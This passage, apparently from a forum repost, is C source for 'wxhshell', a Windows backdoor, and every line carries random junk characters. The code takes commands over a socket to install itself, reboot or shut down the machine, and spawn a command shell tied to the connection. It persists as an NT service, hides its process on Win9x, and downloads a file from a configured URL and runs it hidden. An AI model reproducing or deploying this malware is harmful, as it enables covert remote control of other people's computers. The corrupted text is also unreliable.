  e 2@{Ab  
  // 帮助 jIOrB}  
  case '?': { x U1](O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ux 7^PTgcO  
    break; Te:4 z@?  
  } L]_1z  
  // 安装 1lf 5xm.  
  case 'i': {  6[{|'  
    if(Install()) vp#AD9h1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fhr5)Z  
    else SCUsDr+.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &E(KOfk#  
    break; ^#Ruw?D  
    } ];n3H~2  
  // 卸载 7[)IP:I>  
  case 'r': { wE4:$+R};  
    if(Uninstall()) I<["ko,t@?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~53uUT|B  
    else y!,Ly_x$@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i- v PJg1  
    break; %( tu<  
    } 2L!wbeTb;  
  // 显示 wxhshell 所在路径 SMMsXH  
  case 'p': { UUuB Rtau  
    char svExeFile[MAX_PATH]; w}`TJijl  
    strcpy(svExeFile,"\n\r"); aJmSagr69C  
      strcat(svExeFile,ExeFile); >;9+4C<z0  
        send(wsh,svExeFile,strlen(svExeFile),0); YV p sf8R  
    break; ! qF U  
    } ]3%( '8/  
  // 重启 j\o<r0I  
  case 'b': { "%~Jb dx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y<"BhE  
    if(Boot(REBOOT)) ;B,6v P#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n*Q~<`T  
    else { Q=+*OQV29  
    closesocket(wsh); l[G&=/R@H  
    ExitThread(0); h:J0d~u  
    } WLB@]JvTBY  
    break; *T+Bjj;w  
    } ^Qx qv  
  // 关机 ."u-5r<O  
  case 'd': { &:3uK`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N"+o=nS  
    if(Boot(SHUTDOWN)) tcm?qro)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $0f(Gc|  
    else { 5Wyo!pRi  
    closesocket(wsh); L93PDp4v  
    ExitThread(0); "Q>gQKgL  
    } LxcC5/@\~(  
    break; VD,p<u{r  
    } PGE|){ <  
  // 获取shell PqhR^re0.  
  case 's': { %O=U|tuc$  
    CmdShell(wsh); .o._`"V  
    closesocket(wsh); 2EU((Q`>=(  
    ExitThread(0); 6w )mo)<X  
    break; D #`o  
  } Exy|^Dr0  
  // 退出 Pa8E.<>  
  case 'x': { ^ |xSU_wa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }r+(Z.BHM  
    CloseIt(wsh); 7jZE(|G-  
    break; b#17N2xkT  
    } u@"nVHgMJ  
  // 离开 a (mgz&*  
  case 'q': { )yOdRRP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ++HHUM  
    closesocket(wsh); \Y4>_Mk  
    WSACleanup(); yqY nd<K4  
    exit(1); b `7vWyp  
    break; wOlnDQs  
        } '#;%=+=;  
  } ;$\?o  
  } KliMw*5(  
"IjCuR;#  
  // 提示信息 +J`HI1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FS(bEAk}  
} <hS %I  
  } ,"@Tm01os  
R?/!7  
  return; vZ rE9C }  
} ?3 #W7sF  
[b=l'e/  
// shell模块句柄 c6;326aD q  
int CmdShell(SOCKET sock) rmzM}T\20  
{ Ub(8ko:8$  
STARTUPINFO si; nQ$4W  
ZeroMemory(&si,sizeof(si)); "X.JD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5Dhpcgq<<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {D6E@a  
PROCESS_INFORMATION ProcessInfo; kwcH$w<I  
char cmdline[]="cmd"; h0=Q.Yz6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (F<VcB  
  return 0; aT]G&bR?  
} n{b(~eL?  
;j#(%U]Vp  
// 自身启动模式 :nt 7jm,  
int StartFromService(void) |U GmIm%  
{ :c vZk|b%  
typedef struct w6-A-M6hD  
{ z)Yk&;XC  
  DWORD ExitStatus; qG=>eRR  
  DWORD PebBaseAddress; 9L"Z ~CUL  
  DWORD AffinityMask; wa #$9p~Q  
  DWORD BasePriority;  *b$8O  
  ULONG UniqueProcessId; P$ a `8~w  
  ULONG InheritedFromUniqueProcessId; gG 9e.++:  
}   PROCESS_BASIC_INFORMATION; %X--`91|u  
_D{V(c<WD  
PROCNTQSIP NtQueryInformationProcess; \BoRYb9h  
M<AjtDF%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;T9u$4 <  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tR! !Q  
uA'S8b%C  
  HANDLE             hProcess; 3k#?E]'  
  PROCESS_BASIC_INFORMATION pbi; *tWZ.I<<  
Y`O"+Jr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fku\O<1  
  if(NULL == hInst ) return 0; HP$GI  
FuWMVT`Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d>RoH]K4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^-*q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l@h|os  
MM+xm{4l  
  if (!NtQueryInformationProcess) return 0; gJ; *?Uq(  
@scy v@5)F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $,mljJSQv  
  if(!hProcess) return 0; GH6HdZ  
4;rt|X77  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JTw< 4]  
y4V~fg;  
  CloseHandle(hProcess); H/rJ:3  
(9"w{pnlLc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J'Z!`R|  
if(hProcess==NULL) return 0; MHuQGc"e+4  
Xscm>.di  
HMODULE hMod; WDM^rjA|j  
char procName[255]; g!#M0  
unsigned long cbNeeded; 4*)a3jI?  
^ B>BA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4TP AD)C  
d){o#@  
  CloseHandle(hProcess); lj U|9|v  
w,6zbI/  
if(strstr(procName,"services")) return 1; // 以服务启动 W N5`zD$  
b3h3$kIYN  
  return 0; // 注册表启动 p4Wy2.&Q  
} c}QWa"\2n  
lBYc(cr  
// 主模块 feSj3,<!  
int StartWxhshell(LPSTR lpCmdLine) H}nPaw]G  
{ F+c4v A})  
  SOCKET wsl; H*gX90{!2  
BOOL val=TRUE; Z4"SKsJT/>  
  int port=0; 65P*Gu?  
  struct sockaddr_in door; &B3[:nS2  
( <Abw{BTm  
  if(wscfg.ws_autoins) Install(); <hJ%]]  
aX)k (*|  
port=atoi(lpCmdLine); aJ4y%Gy?  
fcim4dfP  
if(port<=0) port=wscfg.ws_port; >dr34=(  
r Ljb'\<*  
  WSADATA data; 0LjF$3GpZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r?:zKj8/u  
nn1T5;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bm</qF'T6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qwERy{]Sp;  
  door.sin_family = AF_INET; :4&q2-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \\Z{[{OZ  
  door.sin_port = htons(port); "%mu~&Ga  
cnm*&1EzV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y]9AC  
closesocket(wsl); e hgUp =  
return 1; hB !>*AsG  
} l2&s4ERqSm  
VJ8 " Q  
  if(listen(wsl,2) == INVALID_SOCKET) { ]1^F  
closesocket(wsl); [!<W{ ($5  
return 1; M9t`w-@_w  
} ::lD7@Wg  
  Wxhshell(wsl); +(pFU\&U3H  
  WSACleanup(); LE'8R~4.<  
h&k*i  
return 0; IwTAM9n  
" iz'x-wy  
} k)a3j{{  
Qw,{"J  
// 以NT服务方式启动 mZ[tB/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0tFR. sS?  
{ jQV.U~25Q  
DWORD   status = 0; < s>y{ e  
  DWORD   specificError = 0xfffffff; cl'#nLPz;  
k;fy8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~+HZQv3Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R9!GDKts%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ; xz}]@]Ar  
  serviceStatus.dwWin32ExitCode     = 0; O1 KT  
  serviceStatus.dwServiceSpecificExitCode = 0; Z ZMz0^V  
  serviceStatus.dwCheckPoint       = 0; I?z*.yA*  
  serviceStatus.dwWaitHint       = 0; GY3g`M   
ZQVr]/W^r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )J"*[[e  
  if (hServiceStatusHandle==0) return; >$g+Gx\v4  
|)4aIa  
status = GetLastError(); TA~FP#.  
  if (status!=NO_ERROR) .*x |TPv{  
{ vhEXtjL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d4r@Gx%BE  
    serviceStatus.dwCheckPoint       = 0; nXg:lCI-uu  
    serviceStatus.dwWaitHint       = 0; @ uF$m/g  
    serviceStatus.dwWin32ExitCode     = status; x+%(z8wD  
    serviceStatus.dwServiceSpecificExitCode = specificError; _[kZ:#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x =7qC#+)  
    return; W pdn^=dhL  
  } 1B5 ]1&M  
zG|#__=T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  d.)%C]W{  
  serviceStatus.dwCheckPoint       = 0; CkHifmc(u-  
  serviceStatus.dwWaitHint       = 0; X`+8r O[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^T.icSxP  
} hk7kg/"  
s4&JBm(33N  
// 处理NT服务事件,比如:启动、停止 U.kTdNSp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gE}+`w/X  
{ `nvm>u~[Hq  
switch(fdwControl) Xh[02iL-  
{ 7R{(\s\9:  
case SERVICE_CONTROL_STOP: ($vaj;  
  serviceStatus.dwWin32ExitCode = 0; Or2J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ibbpy++d[  
  serviceStatus.dwCheckPoint   = 0; Z7G l^4zn  
  serviceStatus.dwWaitHint     = 0; .Jvy0B} B  
  { [3~mil3rO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |#Q4e51H  
  } ~R$Ko(N  
  return; pAY[XN  
case SERVICE_CONTROL_PAUSE: %z_L}L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  yf/c  
  break; vr$zYdV>  
case SERVICE_CONTROL_CONTINUE: M#5*gWfq9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?!{nNJ  
  break; w%NT 0J  
case SERVICE_CONTROL_INTERROGATE: mD]^a;U[X  
  break; 8euh]+  
}; O\5q_>]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?04$1n:  
} EYaX@|)  
/DC\F5 G  
// 标准应用程序主函数 X^% E"{!nU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $&@etsW0/  
{ Bt?.8H6Y  
JKMcdD?'  
// 获取操作系统版本 Nm;V9*5  
OsIsNt=GetOsVer(); >7Y6NAwY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l(fStpP  
hj*Fn  
  // 从命令行安装 J=OWXL!<a  
  if(strpbrk(lpCmdLine,"iI")) Install(); yClbM5,  
jwW6m@+  
  // 下载执行文件 LL}b]B[  
if(wscfg.ws_downexe) { M,WC+")Z=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {-'S#04  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4pw:O^v  
} 4or8fG  
.%3qzOrN  
if(!OsIsNt) { efnj5|JSV  
// 如果时win9x,隐藏进程并且设置为注册表启动 G#(+p|n  
HideProc(); D_(K{? KU  
StartWxhshell(lpCmdLine); 1}#RUqFrvS  
} km[ PbC  
else q*36/I  
  if(StartFromService()) GO|EeM!iB  
  // 以服务方式启动 \.AI;^)X@]  
  StartServiceCtrlDispatcher(DispatchTable); L[LgQ7es Q  
else ;i,:F`b~  
  // 普通方式启动 WER\04%D\m  
  StartWxhshell(lpCmdLine); #2U4}#Mi  
]di9dLT  
return 0; \~{b;$N}  
}
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只看该作者 1 发表于: 2006-10-10
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